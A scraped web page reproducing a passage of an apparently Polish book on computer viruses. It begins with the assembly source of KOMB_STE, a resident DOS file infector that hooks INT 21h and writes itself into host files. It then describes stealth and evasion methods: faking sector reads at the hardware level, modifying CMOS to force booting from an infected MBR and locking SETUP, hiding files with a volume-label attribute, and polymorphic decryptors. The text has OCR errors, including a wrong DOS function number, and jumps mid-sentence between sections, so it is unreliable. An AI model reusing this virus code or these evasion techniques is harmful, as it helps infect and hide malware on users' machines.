mov di,cs:StaryDX ; nazwa pliku jest
mov ds,cs:StaryDS ; wyswietlana
Call Druk ;
; - (dzieki temu uzytkownik
push cs ; / ma pelna kontrole nad
pop ds ; / tym co wirus infekuje)
lea di,TeInfekcja ; /
Call Druk ; /
Call Decyzja ; /
jc ZamknijPlik ; / CF=1 uzytkownik nie pozwala
mov cx,DlugoscWirusa ; ilosc zapisywanych bajtow
mov dx,100h ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1 to blad
mov cx,3 ; ilosc zapisywanych bajtow
lea dx,Skok ; podaj skad zapisac rozkaz skoku
mov ah,30h ; funkcja DOS - zapisz do pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,Czas ; przywroc czas
mov dx,VZnacznik ; zaznacz w dacie infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
Call StareInt21 ; wywolaj stare przerwanie 21h
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
Call StareInt21 ; wywolaj stare przerwanie 21h
PrzywrocAtrybut:
mov cl,cs:Atrybut ; podaj stary atrybut
mov ch,0 ; CX=CL
mov dx,cs:StaryDX ; podaj nazwe pliku do zmiany
mov ds,cs:StaryDS ; / w DS:DX
mov ax,4301h ; funkcja DOS - zmien atrybut
Call StareInt21 ; wywolaj stare przerwanie 21h
Call PrzywrocStare24
pop di si dx cx bx ax ds es ; przywroc zmieniane rejestry
PowrotZInt21:
db 0EAh ; mnemonik rozkazu skoku JMP FAR
Stare21Ofs dw ? ; z tych pol korzysta skok
Stare21Seg dw ? ; aby oddac sterowanie do poprzedniego
; elementu lancucha przerwan INT 21
StareInt21:
pushf ; symuluj wywolanie przerwania
Call dword ptr cs:[Stare21Ofs] ; / wyowlaj stare przerwanie
ret ; powroc z wywolania
UstawNowe24:
push ds es ax bx dx ; zachowaj zmieniane rejestry
mov ax,3524h ; pobierz stara i ustaw
Call StareInt21 ; nowa procedure obslugi
mov cs:Stare24Seg,es ; przerwania krytycznego
mov cs:Stare24Ofs,bx ; INT 24h w celu ochrony
; przed ewentulanymi bledami
push cs ; / (np; podczas proby zapisu
pop ds ; / na zabezpieczona przed
lea dx,NoweInt24 ; / zapisem dyskietce nie
mov ax,2524h ; / zostanie wywolany dialog
Call StareInt21 ; / ARIF)
pop dx bx ax es ds ; przywroc zmieniane rejestry
ret ; powroc z wywolania
PrzywrocStare24:
push ds ax dx ; zachowaj zmieniane rejestry
lds dx,dword ptr cs:Stare24Ofs ; przywroc stare przerwanie
mov ax,2524h ; - INT 24
Call StareInt21 ; /
pop dx ax ds ; przywroc zmieniane rejestry
ret
DrukSI: ; procedura wyswietla tekst z
; CS:[DI+SI]
add di,si ; tekst w DI, dodaj SI
Druk: ; procedura wyswietla tekst z
; CS:[DI]
push ax di ; zachowaj zmieniane rejestry
DrukPetla:
mov al,[di] ; pobierz znak
or al,al ; czy koniec tekstu (znak=NUL) ?
jz DrukPowrot ; TAK - koncz pisanie
mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje
inc di ; zwieksz indeks (na nastepny znak)
jmp short DrukPetla ; idz po nastepny znak
DrukPowrot:
pop di ax ; przywroc zmieniane rejestry
ret ; powrot
DrukHEX16: ; drukuje liczbe heksalna z AX
push ax ; zachowaj AX (dokladniej AL)
mov al,ah ; najpierw starsza czesc
Call DrukHex8 ; wyswietl AH
pop ax ; przywroc AX (dokladniej AL)
; i wyswietl AL
DrukHex8: ; drukuje liczbe heksalna z AL
push ax ; zachowaj AX (dokladniej 4 bity AL)
shr al,1 ;
shr al,1 ; podziel AL przez 16
shr al,1 ; / czyli wez 4 starsze bity AL
shr al,1 ; /
Call DrukHex4 ; i wydrukuj czesc liczby szesnastkowej
pop ax ; przywroc AX (dokladniej 4 bity AL)
and al,15 ; wez 4 mlodsze bity AL
; i wydrukuj czesc liczby szesnastkowej
DrukHex4:
cmp al,10 ; konwersja liczby binarnej
jb Cyfra09 ; na znak
add al,'A'-'0'-10 ; - 00..09, 0Ah..0Fh na
Cyfra09: ; / '0'..'9', 'A'..'F'
add al,'0' ; /
mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje
ret ; powrot
Decyzja: ; pobiera z klawiatury
mov ah,0h ; znak i sprawdza czy jest
int 16h ; to litera 'T'lub 't'
and al,0DFh ; jesli tak, ustawia CF=0
cmp al,'T' ; jesli nie, ustawia CF=1
clc ; /
je DecyzjaTak ; /
stc ; /
DecyzjaTak: ; /
ret ; /
NoweInt24: ;
mov al,3 ; sygnalizuj CF=1, gdy dowolny blad
; nie wywoluj ARIF
iret ; powrot z przerwania
TeCopyRight db CR,LF,'KOMB_STE v1.0, Autor : Adam Blaszczyk 1997',NUL
TeInstalacja db CR,LF,'_ Zainstalowac KOMB_STE w pamieci operacyjnej (T/N) ?',NUL
TeBylZainstalowany db CR,LF,'_ KOMB_STE jest juz w pamieci !',NUL
TeZainstalowany db CR,LF,'_ KOMB_STE zostal zainstalowany w segmencie : ',NUL
TeZnalazlemPlik db CR,LF,'_ Znalazlem plik : '',NUL
TeInfekcja db ''',CR,LF,' Czy chcesz sprobowac zainfekowac go wirusem KOMB_STE (T/N) ?',NUL
StareBajty db 0CDh,20h,90h
Skok db 0E9h
KoniecWirusa:
Skok2 dw ?
StaryDS dw ?
StaryDX dw ?
Atrybut db ?
Czas dw ?
Stare24Ofs dw ?
Stare24Seg dw ?
KOMB_STE ends
end start
7.1.3. Podawanie prawdziwej zawartości sektorów (ang. sector level stealth
Oczywiście, technikę stealth można stosować także w przypadku odczytu sektorów; należy przejąć obsługę funkcji (02/13) oraz ewentualnie (0A/13). W momencie próby odczytu zarażonego MBR lub BOOT-sektora wirus podsuwa programowi odczytującemu ich oryginalna, nie zainfekowaną zawartość (podobnie jak w przypadku plików, sektory zainfekowane muszą być w jakiś sposób oznaczone, żeby wirus mógł je rozpoznać). Aby ustrzec się przed programami umożliwiającymi odświeżenie tablicy partycji lub BOOT-sektora, można dodatkowo zabezpieczyć sektory zawierające wirusa przed zapisem poprzez przejęcie funkcji (03/13) i ewentualnie (0B/13).
7.1.4. Fałszowanie odczytywanych sektorów na etapie obsługi przerwań sprzętowych (ang. hardware level stealth
W przypadku sektorów istnieje możliwość zastosowania tzw. techniki hardtvare level stealth, która jest rozszerzeniem metody opisanej w poprzednim punkcie. Technika ta polega na przechwyceniu odwołań do dysków już na etapie przerwania sprzętowego IRQ 14 (INT 76h) lub poprzez przejęcie wywoływanej przez to przerwanie funkcji (9100/15h), co umożliwia oszukiwanie systemu na najniższym poziomie programowym- Podczas obsługi tego przerwania lub funkcji wirus może odczytać z portów lFx dane o aktualnie wykonywanej operacji i następnie, w razie wykrycia odwołania np. do MBR, zmienić rozkaz tak, aby odczytywać inny sektor, zawierający prawdziwą zawartość MBR.
Sprawdzenie aktualnie wykonywanej operacji polega na odczycie baj-tu z portu 1F7 (rejestr statusowy IDE) i przetestowaniu bitów jego młodszej części. Jeżeli któryś z nich jest ustawiony (tzn. ma wartość l), oznacza to, iż właśnie jest wykonywana operacja odczytu. Parametry odczytywanego sektora (cylinder, głowicę, sektor) można odczytać z portów 1F3, 1F4/1F5/1F6. Jeżeli odczytane dane są zgodne z oczekiwanymi, wirus musi wykonać do końca operację odczytu oraz ustawić dane w portach kontrolera na inny sektor (np. na taki, w którym znajduje się oryginalna zawartość odczytywanego sektora).
W efekcie program antywirusowy, który używa do odczytu sektorów bezpośredniego adresu przerwania int 13h, zawartego w BIOS-ie, i tak będzie oszukiwany przez wirusa. Aby technika hardware level stealth zadziałała, sterownik dysku musi generować IRQ14 (co można ustawić programowo) przy realizacji operacji dostępu do dysku.
7.2. ModyfikacjaCMOS-a
Nowoczesne BIOS-y zawierają mechanizmy zabezpieczania niektórych newralgicznych sektorów przed zapisem (MBR, BOOT-sektory). W momencie wykrycia próby zapisu do któregoś z tych sektorów system najczęściej w jakiś sposób alarmuje użytkownika i czasem prosi go o potwierdzenie wykonywanej operacji lub też, aby kompletnie uniemożliwić tę operację, zawiesza komputer i czeka na naciśnięcie klawisza RESET.
To, czy BIOS będzie reagował na próby zapisu do newralgicznych sektorów, ustalane jest zwykle z poziomu programu SETUP, który dostępny jest po naciśnięciu jakiegoś klawisza (najczęściej DEL lub CTRL-ALT-ESC) podczas uruchamiania komputera. Ustalone w programie SETUP parametry są po jego opuszczeniu zapisywane do podtrzymywanej baterią pamięci CMOS.
Korzystając z tego, iż pamięć ta dostępna jest programowo, można zmodyfikować pewne dane, tak aby np. na chwilę odblokować zapis do MBR. Wymaga to jednak znajomości różnych systemów BIOS, gdyż znajdująca się w nich pamięć CMOS ma zazwyczaj zawartość odmienną od pamięci w innych komputerach, a jej zgodność ogranicza się do ustalonego znaczenia początkowych komórek tej pamięci (co jest konieczne ze względu na kompatybilność).
Drugim parametrem możliwym do zmodyfikowania w CMOS-ie jest wartość określająca, jakie napędy dyskietek zamontowane są w komputerze. Wirus może wyzerować tę wartość, tak iż przy starcie BIOS nie będzie widział żadnej dyskietki i będzie próbował załadować system z twardego dysku (z MBR), razem ze znajdującym się w nim wirusem. Po załadowaniu wirus przywraca parametry dyskietek w CMOS-ie i następnie sprawdza, czy napęd FDD zawiera dyskietkę i ewentualnie wczytuje z niej BOOT-sektor, po czym oddaje do niego sterowanie.
Zainstalowany w systemie wirus przy odwołaniach do dyskietek ustawia parametry w CMOS-ie, a po ich zakończeniu znowu je kasuje, tak więc po wyłączeniu komputera parametry w CMOS-ie będą najczęściej skasowane. Takie działałanie dość mocno utrudni załadowanie systemu z czystej dyskietki, zwłaszcza jeśli wirus potrafi także zainstalować w pamięci CMOS hasło, uniemożliwiające przeciętnemu użytkownikowi dostanie się do programu SETUP.
7.3. Atrybut etykiet dysku (ang. VolumeID)
Do ukrywania się w systemie niektóre wirusy wykorzystują fakt, iż programy przeglądające zawartości katalogu (typowe nakładki lub polecenie DIR) nie pokazują zwykle pozycji katalogu zawierających atrybut VolumeID (etykieta dysku). Wirusy dodają do dotychczasowych atrybutów pliku, zawierającego np. kod wirusa, także wyżej wymieniony atrybut (np. poprzez wykorzystanie omówionych wcześniej tablic SFT). Tak ukryty plik będzie widoczny najczęściej tylko w tzw. edytorach binarnych, operujących na zawartości fizycznych sektorów (np. Disk Editor).
Ta sztuczka nie wymaga instalowania w systemie żadnego rezydent-nego kodu, gdyż niewidzialność zagwarantuje sam system DOS.
7.4. Dodatkowe ścieżki na dyskach
Ze względu na to, iż wirusy zarażające sektor MBR lub BOOT-sektory są programami zajmującymi zwykle obszar będący wielokrotnością kilku sektorów, twórca wirusa musi podjąć decyzję, gdzie umieścić wirusa po infekcji.
Nie mogą to być sektory wybrane na chybił trafił, gdyż ich zamazanie kodem wirusa może zniszczyć dane, ważne dla działania systemu. Większość wirusów dopisuje się na początku dysku, w obszarze pierwszego cylindra (bezpośrednio za tablicą partycji). Tylko nieliczne wirusy potrafią lepiej ukryć swój kod przed programami antywirusowymi. Korzystając z tego, iż większość dysków posiada więcej sektorów niż liczba widziana przez system BIOS, wirusy doformato-wywują sobie dodatkowe używane sektory, po czym je wykorzystują.
kodu wirusa. Jedyną wadą tradycyjnego szyfrowania była konieczność pozostawienia nie zakodowanej procedury dekodującej, co w pewnym sensie skazywało wirusa na rychłe wykrycie, gdyż nawet kilkubajtowy kod takiej procedury stanowił w zasadzie sygnaturę wirusa, umożliwiającą jego identyfikację. Aby ominąć tę przeszkodę, zaczęto rozważać możliwość stworzenia generatora procedur dekodu-jących, które różniłyby się rozmieszczeniem i doborem instrukcji, rejestrami roboczymi oraz sposobem deszyfrowania. Przejście od teorii do praktyki stało się możliwe wraz z pojawieniem się MtE, który choć pierwszy, do dziś uznawany jest za generator produkujący jedne z najbardziej zmiennych i wyszukanych (ang. sophisticated) procedur
dekodujących. O stopniu skomplikowania wirusa szyfrującego swój kod decydują
dwie poniższe procedury:
> procedura generująca szyfrator (ang. encryptor);
> procedura generująca dekoder (ang. decryptor).
W zależności od ich skomplikowania można wyróżnić wirusy, które
zawierają:
> stały szyfrator + stały dekoder - kod wirusa wraz z dekoderem za każdym razem wygląda identycznie (z dokładnością do kodu wirusa i pominięciem zmiennych zapamiętywanych wewnątrz wirusa); wykrywanie wirusa przebiega identycznie jak w przypadku wirusów nieszyfrowanych;
> stały szyfrator + zmienny dekoder - raczej rzadko stosowany;
jeżeli ktoś potrafi zastosować zmienny dekoder, zwykle tworzy także zmienną procedurę szyfrującą;
> zmienny szyfrator + stały dekoder - kod wirusa za każdym razem wygląda inaczej, dekoder jest zawsze taki sam; wykrycie procedury dekodującej wykrywa również wirusa;
> zmienny szyfrator + zmienny dekoder - kod wirusa wraz z dekoderem za każdym razem wygląda inaczej; są to tzw. wirusy
polimorficzne
Politica de confidentialitate | Termeni si conditii de utilizare |
Vizualizari: 666
Importanta:
Termeni si conditii de utilizare | Contact
© SCRIGROUP 2024 . All rights reserved